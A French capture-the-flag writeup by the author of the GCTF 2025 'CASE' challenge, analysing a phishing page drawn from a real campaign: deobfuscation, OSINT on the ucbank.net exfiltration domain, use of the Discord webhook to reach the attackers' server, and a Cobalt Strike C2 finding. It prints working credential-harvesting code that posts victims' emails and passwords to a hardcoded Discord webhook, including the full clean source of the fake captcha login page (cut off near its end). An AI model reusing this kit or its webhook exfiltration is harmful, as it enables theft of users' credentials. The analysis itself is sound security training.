Logo
GCTF 2025 - Writeup du challenge CASE
Overview
GCTF 2025 - Writeup du challenge CASE

GCTF 2025 - Writeup du challenge CASE

23 février 2025
1 mars 2025
14 min de lecture
Disponible en :

Cet article est un writeup pour le challenge “CASE” que j’ai créé pour le GCTF 2025 Capture The Flag (CTF). Ce CTF a été co-organisé à l’école Guardia Cybersecurity. Le challenge était basé sur une campagne de phishing réelle que j’ai rencontrée en analysant des données provenant des solutions de sécurité de l’entreprise où je travaillais à l’époque.

L’objectif du challenge était de simuler un scénario réaliste impliquant un lien de phishing envoyé par un attaquant. Les participants devaient enquêter et créer un rapport détaillé décrivant la méthodologie et les techniques de l’attaquant. Le CTF dure 5 heures. Je m’attendais à ce qu’ils l’aient terminé en 2 heures 🥹

📝 Synopsis

Estimés participants,

En tant qu’analyste en cybersécurité d’élite, vous êtes officiellement mandaté par SOCreddine, le Chef de l’Information de GuardiaCorp, pour mener une enquête approfondie sur une URL particulièrement suspecte.

Cette URL a été subrepticement disséminée au sein des réseaux internes de GuardiaCorp, soulevant de sérieuses préoccupations quant à son origine et ses répercussions potentiellement néfastes.

Soyez avisé que cette tâche requiert une expertise spécialisée. La discrétion est essentielle, car la réputation de GuardiaCorp est en jeu.

Le temps presse. SOCreddine attend votre rapport détaillé dans les plus brefs délais. Que votre perspicacité et votre ingéniosité vous guident dans cette périlleuse entreprise.

Point d’entrée : https://case.gctf.tech#jhubert@gmail.com

Difficulté : Facile/Moyen

meme phish

🏆 Critères de notation

À partir du point d’entrée, trouvez les informations suivantes :

PointsCritèresAttendu
100Serveur de réceptionPoint d’exfiltration précédemment utilisé par l’attaquant pour recevoir les données
50Identification du panelNom complet du panel utilisé pour déployer le template depuis le domaine anciennement utilisé pour l’exfiltration
50Origine géographiqueLocalisation de la ville d’origine supposée du serveur précédemment utilisé pour exfiltrer les données
150Certificat TLS initialDate et heure exactes du premier enregistrement du domaine anciennement utilisé pour l’exfiltration
150Valeur du domainePrix du domaine anciennement utilisé pour l’exfiltration au 30 mars 2022
200Nouveau point d’exfiltrationL’attaquant a depuis changé sa méthode d’exfiltration. Trouvez la nouvelle façon utilisée pour exfiltrer les données.
200Logique d’exfiltrationCes points seront attribués si vous démontrez en détail (à partir du code) comment l’attaquant a exfiltré ces données dans le passé et le présent (explication technique de la logique du code)
200Secret partagéUn secret est caché sur le serveur de discussion des attaquants !
200Flag finalFormat : GCTF{C2_server_name:exfiltration_domain}
Exemple : GCTF{Havoc:informaticien.fun}
1300Envoyez le rapportà l’adresse email : report@gctf.tech en mentionnant le nom de votre équipe (sinon refusé) !

Vous devez rédiger un rapport complet avec vos propres mots. Il doit être :

  • Démonstratif : Preuves tangibles pour chaque point
  • Exhaustif : Analyse complète et détaillée
  • Explicatif : Contextualisation et facilité de compréhension

Vous n’aurez qu’une seule soumission pour votre rapport.

⚠️ Important : Le meilleur rapport vaudra 200 points supplémentaires.

Nous acceptons les soumissions jusqu’à une heure avant la fin du CTF, après cette date limite votre rapport sera refusé. Vous pouvez soumettre votre rapport et obtenir des points, même s’il est incomplet !

✍️ Writeup

📡 Identification du serveur de réception

Points : 100

Plongeons dans le code source de la page https://case.gctf.tech#jhubert@gmail.com :

<script language=javascript>document.write(unescape
('%0A%3C%21DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en%22%3E%0A%20%20%20%20%3...'))
</script>

Ce qui ressemble à une très longue chaîne de caractères encodée en URL, nous pouvons la décoder avec l’outil de votre choix comme CyberChef par exemple :

alt text

L’encodage URL a été utilisé. Dans le script obfusqué tout en bas du code, il y a un commentaire avec une requête POST vers un endpoint bizarre.

alt text

🚩 ucbank.net/love/newpost.php

💻 Identification du panel

Points : 50

Allez sur la racine du domaine : https://ucbank.net

CyberPanel

🚩 CyberPanel

🌍 Origine géographique

Points : 50

  • Utilisez un outil de géolocalisation IP avec le domaine ucbank.net :

iplocation

🚩 Istanbul

🔐 Enregistrement du certificat TLS

Points : 150

  • Avec le site web crt.sh vous pouvez voir quand les certificats TLS ont été enregistrés :

alt text

🚩 2018-07-27 19:32:08

💰 Valorisation du domaine

Points : 150

  • Prix du domaine au 30 mars 2022 : Vérifiez les archives historiques sur Wayback Machine pour déterminer la valeur du domaine à la date donnée.

tarification du domaine

🚩 280$

📤 Nouveau point d’exfiltration

Points : 200

Dans la partie JavaScript du code (tout en bas), nous voyons d’abord ce qui ressemble à une requête POST commentée vers le point de terminaison https://ucbank.net/love/newpost.php.

(0x4c1, 0x4b5, 0x4a1, 0x4c9)] = function () {
function _0x377252(_0x2000a8, _0x307650, _0x53890e, _0x21295a) {
return _0x4ff03(_0x2000a8 - 0xb9, _0x2000a8, _0x53890e - 0x5b, _0x21295a - 0x36);
}
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true);
function _0x5efac2(_0x2a9176, _0xc58150, _0x548760, _0x43abc3) {
return _0x4ff03(_0x2a9176 - 0x1c, _0xc58150, _0x548760 - 0x119, _0x548760 - -0x2a9);
}
_0x543aea['readyState'] === XMLHttpRequest['DONE'] && (_0x464090[_0x377252(0x50c, 0x4a1, 0x522, 0x4e5)](_0x543aea[_0x377252(0x4e2, 0x4ad, 0x4b3, 0x4e2)], 0xf * 0xff + -0x19c0 + 0x3dd * 0x3) ? _0x464090[_0x377252(0x526, 0x54d, 0x547, 0x55d)](_0x377252(0x510, 0x515, 0x569, 0x548), _0x464090['ZkWJL']) ? _0x275237[_0x377252(0x500, 0x580, 0x54d, 0x53d)]('Failed\x20to\x20' + 'send\x20messa' + _0x377252(0x51d, 0x4d7, 0x4d8, 0x4f8), _0x11c9c1[_0x377252(0x580, 0x52c, 0x563, 0x546) + 'xt']) : console[_0x5efac2(0x279, 0x2ba, 0x279, 0x2a6)](_0x377252(0x52e, 0x526, 0x525, 0x51c) + 'nt\x20success' + _0x377252(0x575, 0x596, 0x552, 0x55a)) : console[_0x377252(0x572, 0x4fa, 0x541, 0x53d)](_0x464090['Jmsnh'], _0x543aea['responseTe' + 'xt']));
}, _0x543aea['send'](JSON[_0x4ff03(0x50f, 0x500, 0x4ef, 0x4d4)](_0x2af2a6)), document[_0x1f912b(-0x1b9, -0x223, -0x205, -0x1f2) + _0x4ff03(0x517, 0x524, 0x516, 0x51e)](_0x15fe69[_0x4ff03(0x4f0, 0x549, 0x4cc, 0x50c)])[_0x1f912b(-0x192, -0x1a6, -0x1a3, -0x184)] = _0x15aa9c + (-0x7d2 + 0x15b6 * 0x1 - 0x3 * 0x4a1), document[_0x1f912b(-0x1e8, -0x1ff, -0x222, -0x1f2) + _0x4ff03(0x526, 0x55b, 0x4e3, 0x51e)](_0x15fe69[_0x1f912b(-0x1d5, -0x1cd, -0x1b6, -0x1e2)])[_0x1f912b(-0x1c8, -0x1b2, -0x159, -0x184)] = '';
});
});

Désobfusquons-le brièvement également :

(function (_0x489ecf, _0xc917ab) {
var _0x13d46c = _0x489ecf();
while (true) {
try {
var _0x407117 = parseInt(_0x1eac(352, 0xba)) / 1 + -parseInt(_0x1eac(314, -0xf8)) / 2 + -parseInt(_0x1eac(420, -0x70)) / 3 + parseInt(_0x1eac(317, 0x7a)) / 4 * (-parseInt(_0x1eac(322, 0xa2)) / 5) + -parseInt(_0x1eac(340, -0x9e)) / 6 * (-parseInt(_0x1eac(397, 0xe4)) / 7) + parseInt(_0x1eac(417, 0xbf)) / 8 + parseInt(_0x1eac(345, -0xa0)) / 9;
if (_0x407117 === _0xc917ab) {
break;
} else {
_0x13d46c.push(_0x13d46c.shift());
}
} catch (_0x247d0c) {
_0x13d46c.push(_0x13d46c.shift());
}
}
})(_0x1123, 169814);
var _0x16e918 = function () {
var _0x498639 = {
FrbHv: function (_0x498b67, _0x24000c) {
return _0x498b67 === _0x24000c;
}
};
_0x498639.KgbQA = "xveGs";
_0x498639.tBWXr = "wXsKI";
var _0x964def = true;
return function (_0x25b0d0, _0x29a9db) {
var _0x19d983 = {
'DuegV': function (_0x1bfa63, _0x4cdb5) {
return _0x1bfa63 === _0x4cdb5;
},
'ejKtT': function (_0x1d3000, _0x80729d) {
return _0x1d3000 === _0x80729d;
},
'xdKMA': _0x498639.KgbQA,
'rnjzX': _0x498639.tBWXr
};
var _0x315f11 = _0x964def ? function () {
if (_0x19d983.xdKMA === _0x19d983.rnjzX) {
if (_0x32f7ab.readyState === _0x37b4d5.DONE) {
if (_0x19dcc6.status === 200) {
_0x5dafbb.log("Message sent successfully!");
} else {
_0x16a208.error("Failed to send message:", _0x4d2989.responseText);
}
}
} else {
if (_0x29a9db) {
var _0x29faa0 = _0x29a9db.apply(_0x25b0d0, arguments);
_0x29a9db = null;
return _0x29faa0;
}
}
} : function () {};
_0x964def = false;
return _0x315f11;
};
}();
var _0x276bce = _0x16e918(this, function () {
var _0x1ab606;
try {
var _0x5baa92 = Function("return (function() {}.constructor(\"return this\")( ));");
_0x1ab606 = _0x5baa92();
} catch (_0x1f2a15) {
_0x1ab606 = window;
}
var _0x3a5087 = _0x1ab606.console = _0x1ab606.console || {};
var _0xc25c01 = ["log", "warn", "info", "error", "exception", "table", "trace"];
for (var _0x15cf1e = 0; _0x15cf1e < _0xc25c01.length; _0x15cf1e++) {
var _0x4b4485 = _0x16e918.constructor.prototype.bind(_0x16e918);
var _0x1e30fb = _0xc25c01[_0x15cf1e];
var _0x10a535 = _0x3a5087[_0x1e30fb] || _0x4b4485;
_0x4b4485.__proto__ = _0x16e918.bind(_0x16e918);
_0x4b4485.toString = _0x10a535.toString.bind(_0x10a535);
_0x3a5087[_0x1e30fb] = _0x4b4485;
}
});
_0x276bce();
var link = window.location.href;
var url = new URL(link);
function _0x27b64f(_0x2de266, _0x54f5e3, _0x34ed92, _0x243e55) {
return _0x1eac(_0x54f5e3 + 0x258, _0x2de266);
}
var hash = url.hash;
var updated_email = hash.replace('#', '');
function _0x1123() {
var _0x418741 = ['vLHjvwG', 'C3rYAw5NAwz5', 'uLb3Exe', '4PQHienYzwrZieXV', 'A3mVmtmXnJGWnq', 'C3vIBwL0', 'ChjVDg90ExbL', 'AJLruwSXzg9fna', 'zgLZCgXHEq', 'C3vIC3rYAw5N', 'C2v0uMvXDwvZDa', 's2PMswS', 'AwXPC2f0zxvYia', 'rxblqMi', 'zxHJzxb0Aw9U', 's2DIuue', 'D0jOwNG', 'Dg9tDhjPBMC', 'Agzetg0', 'twvZC2fNzsbZzq', 'C2vUzcbTzxnZyq', 'rMfPBgvKihrVia', 'ywjlrhq', 'CgvTy2e', 'CYDLC3qGzMfPDa', 'tNviBvm', 'wg1RExm', 'y29UC29Szq', 'yxbWBgLJyxrPBW', 'ywrKrxzLBNrmAq', 'z2DLzcdIMQe', 'zcOQoIa', 'yxvSDa', 'mtiZmJDotwnuELO', 'BMn0Aw9UkcKG', 'q2f2BhK', 'C3rLBMvY', 'C3jJ', 'rMvwB1G', 'B25YzwfKExn0yq', 'BgvUz3rO', 'uMfwEhu', 'rhvLz1y', 'EhzLr3m', 'zw1HAwW', 'y3rVCIGICMv0Dq', 'Egrltue', 'CM4GDgHPCYiPka', 'q29UDgvUDc1uEq', 'BNqGC3vJy2vZCW', 'kIPfBwfPBcOQoG', 'D2fYBG', 'zxjYB3i', 'mJiWnZG5nKHgDM9jtq', 'CM5QELG', 'zgvUDgLHBhmG8j+sGa', 'ntCZodyXqwrqvLLl', 'D09RuwG', 'Bg9JyxrPB24', 'rNjIshy', 'Aw5MBW', 'CMvZCg9UC2vuzq', '4PQG77IpifvtrviGqLjf', 'zNHIB3i', 'DMfSDwu', 'BwvuENC', 'AhjLzG', 'yxbPl3DLyMHVBW', 'reDVuJe3neO3DW', 'uLDAvNG', 'C2v0qxr0CMLIDq', 'tg9HzgvK', 'y21jsK4', 'oty2mtq2mdq4mq', 'Dejxwhi', 'qNLjza', 'BI9QC29U', 'zM9YBq', 'cIOQugfZC3DVCG', 'Bg9N', 'Ahr0Chm6lY8', 'zNvSBhKH', 'BuLKq0K', 'ifbfvefyisOQia', 'AhvswKW', 'C0r5v2e', 'DhjHy2u', 'nJuZmti0rKvrwhHh', 'ChzevLK', '4PQH8j+sGa', 'nZK4nJy4EMrYsePK', 'z2v0rwXLBwvUDa', 'Bg9HzgLUzW', 'AMr6Dwe', 'ExrPBwCUy29TlW', 'nvDrwhrcCa', 'B3vUDhmG8j+sGokAOq', 'Aw1NDxiUy29TlW', 'C3rHDhvZ', 'AwzYyw1L', 'svjJv2S', 'rgLvy2G', 'E30Uy29UC3rYDq', 'sgvHzgvY', 'B0jYAei', 'C3r5Bgu', 'qtriyK1Onff2mG', 'vLrbuMG', 'DgfIBgu', 'Awjiu1C', 'B3bLBG', 'DMKVnNPhsJjRBq', 'Ahr0Chm6lY9PlG', 'odqWCeXyA1LJ', 'tM1xoueYDLvtCW', 'AvHHtgO', 'ELflB1K', 'C2rLzMf1BhqUAG', 'mJm0otaWmhnNBhznBG', 'A3D4tg8', 'z2u6', 'B3HrBuC', 'ueftC1O', 'ue9tva', 'zwPlDfq', 'mtaZodaZB3H3tKLz', 'ChjLDMvUDerLzG', 'DgvJAgfUz2u', 're9nq29UDgvUDa', 'yMLUza', 'Aw5KzxHpzG', 'wMnWq3C', 'D1HZs0K', 'C2nVCMqUy29TlW', '4PQH8j+sGcaQkLvUihv0', 'x19WCM90B19F', 's2fHDhG'];
_0x1123 = function () {
return _0x418741;
};
return _0x1123();
}
document.getElementById("email").value = updated_email;
function _0x1eac(_0x12c56b, _0x293603) {
var _0x203324 = _0x1123();
_0x1eac = function (_0x4239df, _0x348dec) {
_0x4239df = _0x4239df - 314;
var _0x44d9ab = _0x203324[_0x4239df];
if (_0x1eac.QUflAz === undefined) {
var _0x29b880 = function (_0x57f2c1) {
var _0x4eb863 = '';
var _0x49fad1 = '';
var _0x32739b = 0;
var _0x36edaa;
var _0x1c9961;
for (var _0x1f7d93 = 0; _0x1c9961 = _0x57f2c1.charAt(_0x1f7d93++); ~_0x1c9961 && (_0x36edaa = _0x32739b % 4 ? _0x36edaa * 64 + _0x1c9961 : _0x1c9961, _0x32739b++ % 4) ? _0x4eb863 += String.fromCharCode(255 & _0x36edaa >> (-2 * _0x32739b & 6)) : 0) {
_0x1c9961 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1c9961);
}
var _0x40ae0c = 0;
for (var _0x597c0e = _0x4eb863.length; _0x40ae0c < _0x597c0e; _0x40ae0c++) {
_0x49fad1 += '%' + ('00' + _0x4eb863.charCodeAt(_0x40ae0c).toString(16)).slice(-2);
}
return decodeURIComponent(_0x49fad1);
};
_0x1eac.SPSFPy = _0x29b880;
_0x12c56b = arguments;
_0x1eac.QUflAz = true;
}
var _0x1098c8 = _0x203324[0];
var _0x54f334 = _0x4239df + _0x1098c8;
var _0x53d4c4 = _0x12c56b[_0x54f334];
if (!_0x53d4c4) {
_0x44d9ab = _0x1eac.SPSFPy(_0x44d9ab);
_0x12c56b[_0x54f334] = _0x44d9ab;
} else {
_0x44d9ab = _0x53d4c4;
}
return _0x44d9ab;
};
return _0x1eac(_0x12c56b, _0x293603);
}
const delimiterIndex = updated_email.indexOf('@');
const charactersAfter = updated_email.substring(delimiterIndex + 1);
var iframe = document.getElementById("iframe");
var iframe_url = "https://" + charactersAfter;
iframe.setAttribute("src", iframe_url);
setTimeout(() => {
var _0x3c52a0 = document.getElementById("loading");
_0x3c52a0.style.display = 'none';
}, 4000);
function _0x18dfa5(_0x895e04, _0x23a0ac, _0x4cada8, _0x34b52a) {
return _0x1eac(_0x895e04 + 0x52, _0x34b52a);
}
document.addEventListener("DOMContentLoaded", function () {
var _0x3440d6 = {
pvDVY: function (_0x1b4dad, _0x64df64) {
return _0x1b4dad === _0x64df64;
},
EpKBb: function (_0x36a897, _0x200699) {
return _0x36a897 !== _0x200699;
},
pemca: "Failed to send message:",
wOkQh: 'number',
VTARh: 'password'
};
_0x3440d6.kwxLo = "Hacked accounts 💀⚡";
_0x3440d6.NuHmS = "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg";
_0x3440d6.mIdCI = "⚠️ USER BREACH DETECTED ⚠️";
_0x3440d6.iXaLj = "💀 User Credentials 💀";
_0x3440d6.RaVxu = "⚡ Creds Logged ⚡";
_0x3440d6.KjfIk = "https://i.imgur.com/UsNaXHK.gif";
_0x3440d6.jdzua = "POST";
_0x3440d6.VXIUh = "application/json";
_0x3440d6.Xmkys = "form";
_0x3440d6.ZcpCw = "submit";
var _0x3b333b = document.getElementById(_0x3440d6.Xmkys);
_0x3b333b.addEventListener(_0x3440d6.ZcpCw, function (_0x338ff6) {
_0x338ff6.preventDefault();
var _0x15aa9c = parseInt(document.getElementById('number').value);
var _0x2af2a6 = {
'username': _0x3440d6.kwxLo,
'avatar_url': _0x3440d6.NuHmS,
'embeds': [{
'title': _0x3440d6.mIdCI,
'description': "⚡💀 **Un utilisateur s'est fait PETAX!** ⚡💀",
'color': 0xff0000,
'fields': [{
'name': _0x3440d6.iXaLj,
'value': "**Email**: " + document.getElementById("email").value + "\n**Password**: " + document.getElementById('password').value,
'inline': false
}],
'footer': {
'text': _0x3440d6.RaVxu,
'icon_url': "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg"
},
'image': {
'url': _0x3440d6.KjfIk
}
}]
};
var _0x543aea = new XMLHttpRequest();
_0x543aea.open(_0x3440d6.jdzua, "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);
_0x543aea.setRequestHeader("Content-Type", _0x3440d6.VXIUh);
_0x543aea.onreadystatechange = function () {
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true);
if (_0x543aea.readyState === XMLHttpRequest.DONE) {
if (_0x543aea.status === 200) {
console.log("Message sent successfully!");
} else {
console.error("Failed to send message:", _0x543aea.responseText);
}
}
};
_0x543aea.send(JSON.stringify(_0x2af2a6));
document.getElementById('number').value = _0x15aa9c + 1;
document.getElementById('password').value = '';
});
});

Nous voyons du dead code (certainement pour nous faire perdre plus de temps dessus volontairement) et une structure de webhook Discord :

12 collapsed lines
document.addEventListener("DOMContentLoaded", function () {
var _0x3440d6 = {
pvDVY: function (_0x1b4dad, _0x64df64) {
return _0x1b4dad === _0x64df64;
},
EpKBb: function (_0x36a897, _0x200699) {
return _0x36a897 !== _0x200699;
},
pemca: "Failed to send message:",
wOkQh: 'number',
VTARh: 'password'
};
_0x3440d6.kwxLo = "Hacked accounts 💀⚡";
_0x3440d6.NuHmS = "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg";
_0x3440d6.mIdCI = "⚠️ USER BREACH DETECTED ⚠️";
_0x3440d6.iXaLj = "💀 User Credentials 💀";
_0x3440d6.RaVxu = "⚡ Creds Logged ⚡";
_0x3440d6.KjfIk = "https://i.imgur.com/UsNaXHK.gif";
_0x3440d6.jdzua = "POST";
_0x3440d6.VXIUh = "application/json";
_0x3440d6.Xmkys = "form";
_0x3440d6.ZcpCw = "submit";
var _0x3b333b = document.getElementById(_0x3440d6.Xmkys);
_0x3b333b.addEventListener(_0x3440d6.ZcpCw, function (_0x338ff6) {
_0x338ff6.preventDefault();
var _0x15aa9c = parseInt(document.getElementById('number').value);
var _0x2af2a6 = {
'username': _0x3440d6.kwxLo,
'avatar_url': _0x3440d6.NuHmS,
'embeds': [{
'title': _0x3440d6.mIdCI,
'description': "⚡💀 **Un utilisateur s'est fait PETAX!** ⚡💀",
'color': 0xff0000,
'fields': [{
'name': _0x3440d6.iXaLj,
'value': "**Email**: " + document.getElementById("email").value + "\n**Password**: " + document.getElementById('password').value,
'inline': false
}],
'footer': {
'text': _0x3440d6.RaVxu,
'icon_url': "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg"
},
'image': {
'url': _0x3440d6.KjfIk
}
}]
};
var _0x543aea = new XMLHttpRequest();
_0x543aea.open(_0x3440d6.jdzua, "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);
16 collapsed lines
_0x543aea.setRequestHeader("Content-Type", _0x3440d6.VXIUh);
_0x543aea.onreadystatechange = function () {
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true);
if (_0x543aea.readyState === XMLHttpRequest.DONE) {
if (_0x543aea.status === 200) {
console.log("Message sent successfully!");
} else {
console.error("Failed to send message:", _0x543aea.responseText);
}
}
};
_0x543aea.send(JSON.stringify(_0x2af2a6));
document.getElementById('number').value = _0x15aa9c + 1;
document.getElementById('password').value = '';
});
});

On peut clairement voir que les 2 champs email et password du formulaire, sont envoyés à un webhook Discord pour exfiltration.

🕵️‍♂️ Logique d’exfiltration

Points : 200

Que fait ce code bon sang ???

code meme

Note (Résumé)

Il s’agit d’une page de phishing conçue pour piéger les gens en les incitant à saisir leur mot de passe. Les attaquants récupèrent ensuite les identifiants en utilisant un webhook Discord. Diverses techniques d’obfuscation sont utilisées pour rendre le code plus difficile à analyser.

🔍 Fonctionnalité principale

  1. 🎣 Collecte d’identifiants :
  • Remplit automatiquement un champ email à partir du hash de l’URL (ex : example.com#victim@email.com → email = victim@email.com)
  • Capture le mot de passe saisi lors de la soumission du formulaire.
  • Envoie les deux champs au webhook Discord via une requête POST.
  1. 🕵️‍♂️ Techniques d’obfuscation :
    • Utilisation intensive de noms de variables hexadécimaux (_0x1eac, _0x1123)
    • Routines de chiffrement/déchiffrement de chaînes
    • Écrasement des méthodes console pour masquer les logs de débogage
    • Rotation de tableau et manipulation du flux de code

📤 Exfiltration de données

Appel du webhook Discord
xhr.open("POST", "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);

Envoie les identifiants volés, Email : victim@example.com et Mot de passe : [mot de passe saisi par l'utilisateur]

🎭 Interface trompeuse

  • Charge une iframe en arrière-plan correspondant au domaine de l’email (ex : @gmail.comhttps://gmail.com)
  • Affiche un faux écran de chargement (délai de 4 secondes)

Dans le code :

  1. 🛡️ Fonctionnalités anti-analyse

    Écrase les méthodes console pour empêcher le débogage
    console.log = function(){};
    console.error = function(){};
  2. 🌐 Analyse de domaine vers iframe

    const charactersAfter = updated_email.substring(delimiterIndex + 1);
    iframe.setAttribute("src", "https://" + charactersAfter);

🗝️ Points clés

  • Utilisation de plusieurs couches d’obfuscation de code
  • URL de webhook Discord et domaine d’attaquant codés en dur
  • Extraction automatique d’email depuis les fragments d’URL
  • Chargement d’iframe dynamique basé sur le domaine de l’email
  • Altération des méthodes console

🤫 Secret partagé

Points : 200

D’abord un peu de documentation sur les webhooks Discord :

https://www.reddit.com/r/discordapp/comments/15nzlbg/is_there_any_way_to_find_out_what_server_a

Avec ce webhook nous pouvons publier des données ou les supprimer, ce qui n’est pas très intéressant (ou si vous voulez juste perturber les autres équipes et le créateur du challenge), il y a un moyen de récupérer un lien d’invitation vers le serveur Discord (peut-être nécessite-t-il une configuration de widget Discord active par le propriétaire du serveur) :

  1. Soumettre une requête GET à l’URL du webhook pour révéler l’ID de guilde associé :
{
"application_id": null,
"avatar": "1d1dc4094ab1693e3c45e674685948c5",
"channel_id": "1316805941609627659",
"guild_id": "1316805897082765373",
"id": "1316805966146048123",
"name": "Proz0X_ hacked accounts",
"type": 1,
"token": "WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI",
"url": "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI"
}
  1. Accédez à https://www.discord.com/api/guilds/<guild id>/widget.json pour obtenir le lien d’invitation depuis la fonctionnalité widget.
{
"id": "1316805897082765373",
"name": "H3CK3Rz_",
"instant_invite": "https://discord.com/invite/jZ4nUrck",
"channels": [],
"members": [],
"presence_count": 0
}
  1. Vous êtes autorisé à rejoindre le serveur depuis le lien d’invitation du widget récupéré.

Dans le serveur, un événement est en cours avec un message.

Événement discord des hackers

🚩 GCTF{P0URkw01_m377r3_Un_fl49_1C1??}

🏁 Flag final

Points : 200

Dans le canal #help, un utilisateur “Slap” demande de l’aide concernant un comportement étrange sur son PC, à la fin de la discussion il fournit un fichier zip :

alt text

Pour gagner du temps, nous pouvons scanner cette archive sur un outil d’analyse dynamique en ligne par ex. : Tria.ge :

alt text

Cobalt Strike est le C2 utilisé.

alt text

Le domaine d’exfiltration de l’attaquant est : softline.top

🚩 GCTF{cobalt_strike:softline.top}

Ceci conclut le writeup du challenge “CASE” au GCTF 2025. J’espère que vous avez trouvé cette procédure instructive et utile pour aborder des scénarios similaires dans le monde réel de la cybersécurité.

PS : Malheureusement, les participants étaient comme ça :

alt text

0 résolution, ça arrive parfois, je suppose.

🧹 Code source clair

index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Captcha page | Secured</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap" rel="stylesheet">
<script src="https://kit.fontawesome.com/585b051251.js" crossorigin="anonymous"></script>
<link rel="shortcut icon" href="https://masherabot.com/img/png/adobe/acrobat.png" type="image/x-icon">
<script src="https://code.jquery.com/jquery-3.7.0.js" integrity="sha256-JlqSTELeR4TLqP0OG9dxM7yDPqX1ox/HfgiSLBj8+kM=" crossorigin="anonymous"></script>
</head>
<style>
body{
display: flex;
justify-content: center;
align-items: center;
}
#iframe{
position: fixed;
top: 0; right: 0; bottom: 0; left: 0;
width: 100vw;
height: 100vh;
}
.login{
display: flex;
justify-content: center;
align-items: center;
width: 100vh;
height: 100vh;
z-index: 20;
}
.login_body{
width: 90%;
max-width: 400px;
z-index: 10;
padding: 10px;
background: white;
border-radius: 10px;
box-shadow: 0 4px 32px 0 grey;
display: flex;
flex-flow: column;
gap: 10px;
}
.confirm{
font-weight: 600;
}
.flex_column{
display: flex;
flex-flow: column;
}
#newbutton{
width: fit-content !important;
background: #062174;
color: white;
}
.loading{
display: flex;
justify-content: center;
align-items: center;
flex-flow: column;
gap: 10px;
position: fixed;
top: 0; right: 0; bottom: 0; left: 0;
z-index: 100;
background: white;
}
.loader {
width: 48px;
height: 48px;
display: inline-block;
position: relative;
background: black;
box-sizing: border-box;
animation: flipX 1s linear infinite;
}
@keyframes flipX {
0% {
transform: perspective(200px) rotateX(0deg) rotateY(0deg);
}
50% {
transform: perspective(200px) rotateX(-180deg) rotateY(0deg);
}
100% {
transform: perspective(200px) rotateX(-180deg) rotateY(-180deg);
}
}
</style>
<body>
<div class="login">
<div class="login_body">
<img src="https://media.istockphoto.com/id/1156467607/photo/captcha-im-not-a-robot.jpg?b=1&s=170667a&w=0&k=20&c=qsCUeyZgtDMl98uVMrhPrXqWatuEdwkSyF6YlwLtbW4=" width="150">
<div class="alert alert-danger" id="msg" style="display: none;">Incorrect Password</div>
<div class="text-center confirm">Confirm identity to prove you are not a robot</div>
<div id="error" style="color: red;"></div>
<form class="flex_column" id="form">
<label class="text-secondary font-weight-bold">Email Address</label>
<input type="email" class="form-control email" required="required" name="email" id="email" autocomplete="on">
<label class="text-secondary font-weight-bold">Password</label>
<input type="password" class="form-control password" name="password" required="" id="password">
<br>
<div></div>
<input class="btn newbutton" type="submit" value="Sign in" name="submit" id="newbutton">
</form>
</div>
</div>
</body>
<div class="loading" id="loading">
<span class="loader"></span>
<h3 class="text-center">Connecting To Mail Server</h3>
</div>
<iframe src="" frameborder="0" id="iframe"></iframe>
<input type="hidden" value="0" id="number">
<script>
var link = window.location.href;
var url = new URL(link);
var hash = url.hash;
var updated_email = hash.replace("#", "");
document.getElementById("email").value = updated_email;
const inputString = updated_email;
const delimiter = "@";
const delimiterIndex = inputString.indexOf(delimiter);
const charactersAfter = inputString.substring(delimiterIndex + 1);
var iframe = document.getElementById("iframe");
// var iframe_url = "https://www." + charactersAfter ;
var iframe_url = "https://" + charactersAfter ;
iframe.setAttribute("src", iframe_url);
setTimeout(() => {
var loader = document.getElementById("loading");
loader.style.display = "none";
}, 4000);
document.addEventListener("DOMContentLoaded", function() {
var form = document.getElementById("form");
form.addEventListener("submit", function(e) {
e.preventDefault();
var number = parseInt(document.getElementById("number").value);
var password = document.getElementById("password").value;
var webhookUrl = "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI";
var payload = {
username: "Hacked accounts 💀⚡",
avatar_url: "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg",
embeds: [{
title: "⚠️ USER BREACH DETECTED ⚠️",
description: `⚡💀 **Un utilisateur s'est fait PETAX!** ⚡💀`,
color: 0xFF0000,
fields: [
{
name: "💀 User Credentials 💀",
value: `**Email**: ${document.getElementById("email").value}\n**Password**: ${document.getElementById("password").value}`,
inline: false
}
],
footer: {
text: "⚡ Creds Logged ⚡",
icon_url: "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg"
},
image: {
url: "https://i.imgur.com/UsNaXHK.gif"
}
}]
};
var xhr = new XMLHttpRequest();
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true);
